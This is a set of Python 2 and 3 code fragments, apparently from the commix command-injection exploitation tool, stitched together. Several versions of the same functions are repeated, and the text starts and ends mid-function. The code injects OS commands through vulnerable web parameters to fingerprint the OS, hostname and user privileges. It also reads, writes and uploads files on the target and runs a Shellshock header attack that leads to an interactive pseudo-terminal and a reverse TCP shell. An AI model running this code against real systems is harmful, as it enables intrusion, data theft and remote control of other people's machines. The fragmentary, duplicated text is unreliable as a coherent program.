for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) if menu.options.verbose: print "" if shell: success_msg = "The " + Style.UNDERLINE + shell success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" sys.stdout.write(settings.print_success_msg(success_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" target_os = output if target_os: if new_line == "\n": print "" target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if settings.VERBOSITY_LEVEL >= 1: print "" target_arch = "".join(str(p) for p in target_arch) success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(" " + settings.SUCCESS_SIGN + success_msg) output_file.close()
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if settings.TARGET_OS == "win": if alter_shell: cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. target_os = cb_injector.injection_results(response, TAG, cmd) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. target_arch = cb_injector.injection_results(response, TAG, cmd) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close()
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) new_line = "" shell = output if shell: success_msg = "The hostname is " + shell sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + shell + ".\n" output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close()
def do_check(): # Check if 'tor' is installed. requirment = "tor" requirments.do_check(requirment) # Check if 'privoxy' is installed. requirment = "privoxy" requirments.do_check(requirment) check_privoxy_proxy = True info_msg = "Testing privoxy proxy settings " info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: privoxy_proxy = urllib2.ProxyHandler({settings.PROXY_PROTOCOL:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) opener = urllib2.build_opener(privoxy_proxy) urllib2.install_opener(opener) except: check_privoxy_proxy = False pass if check_privoxy_proxy: try: new_ip = opener.open("http://icanhazip.com/").read() sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() success_msg = + "Your ip address appears to be " + Style.UNDERLINE + new_ip sys.stdout.write(settings.print_success_msg(success_msg)) except urllib2.URLError, err_msg: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" print settings.print_error_msg(err_msg) sys.exit(0) except urllib2.HTTPError, err_msg: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" print settings.print_error_msg(err_msg) sys.exit(0)
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print "" if shell: success_msg = "The contents of file '" success_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT success_msg += "'" + Style.RESET_ALL + " : " sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() print shell output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" + str( err_msg) + ")" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "": dest_to_upload = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" print("") check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL <= 1 and _: print("") if shell: success_msg = "The '" + shell + Style.RESET_ALL success_msg += Style.BRIGHT + "' file was uploaded successfully!" sys.stdout.write("\n" + settings.print_success_msg(success_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def shell_success(): success_msg = "Everything is in place, cross your fingers and check for a shell on port " + settings.LPORT + "!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush()
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [ line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file ] content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 content = base64.b64encode(content) else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() if os.path.split(menu.options.file_dest)[1] == "": dest_to_write = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command if settings.TARGET_OS == "win": dest_to_write = dest_to_write.replace("\\", "/") # Find path path = os.path.dirname(dest_to_write) path = path.replace("/", "\\") # Change directory cmd = "cd " + path response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Find filename filname = os.path.basename(dest_to_write) tmp_filname = "tmp_" + filname cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Decode base 64 encoding cmd = "certutil -decode " + tmp_filname + " " + filname response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) # Delete tmp file cmd = "del " + tmp_filname response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) # Check if file exists cmd = "if exist " + filname + " (echo " + filname + ")" dest_to_write = path + "\\" + filname else: cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" # Check if defined cookie injection. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" + "\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: if settings.VERBOSITY_LEVEL >= 1: print "" warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = cb_injector.injection_results(response, TAG, cmd) cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(", "").replace(")", "") if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print settings.print_warning_msg(warn_msg)
def file_access(url, cve, check_header, filename): #------------------------------------- # Write to a file on the target host. #------------------------------------- if menu.options.file_write: file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the '" + file_to_write + "' file, does not exists." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------- # Check the file-destination #------------------------------- if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" shell, payload = cmd_exec(url, cmd, cve, check_header, filename) # Check if file exists! cmd = "ls " + dest_to_write + "" # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " warn_msg += "does not exists. (" + str(warn_msg) + ")\n" sys.stdout.write(settings.print_critical_msg(warn_msg)) sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) # Check if file exists! cmd = "ls " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The " + shell success_msg += Style.RESET_ALL + Style.BRIGHT success_msg += " file was uploaded successfully!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to write the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("\n" + settings.print_payload(payload)) header = {check_header : payload} request = urllib2.Request(url, None, header) response = urllib2.urlopen(request) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL elif cve in response.info(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent )+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) #if vp_flag == True: vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if cve in response.info(): no_result = False success_msg = "The (" + check_header + ") '" success_msg += url + Style.RESET_ALL + Style.BRIGHT success_msg += "' seems vulnerable via " + technique + "." print "\n" + settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + "\"" + payload + "\"" + Style.RESET_ALL if not settings.VERBOSITY_LEVEL >= 1: print "" # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL >= 1: print "" while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) enumerate_again = sys.stdin.readline().replace("\n","").lower() if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL sys.exit(0) else: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: if settings.VERBOSITY_LEVEL >= 1: print "" question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg(err_msg) else: pass else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command: " sys.stdout.write("\n"+settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") #print "\n" + settings.print_payload(payload) err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except: print "" sys.exit(0) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) continue break else: continue except urllib2.HTTPError, err: if settings.IGNORE_ERR_MSG == False: print "\n" + settings.print_critical_msg(err_msg) continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit()
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" + str( err_msg) + ")" sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "": dest_to_upload = os.path.split( menu.options.file_dest)[0] + "/" + os.path.split( menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split( menu.options.file_dest)[1] + "/" + os.path.split( menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(", "").replace(")", "") response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL >= 1: print "" if shell: success_msg = "The " + shell success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" sys.stdout.write(settings.print_success_msg(success_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) cu_account = output if cu_account: # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) shell = output if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _: print("") success_msg = "The current user is " + cu_account sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + cu_account output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) if 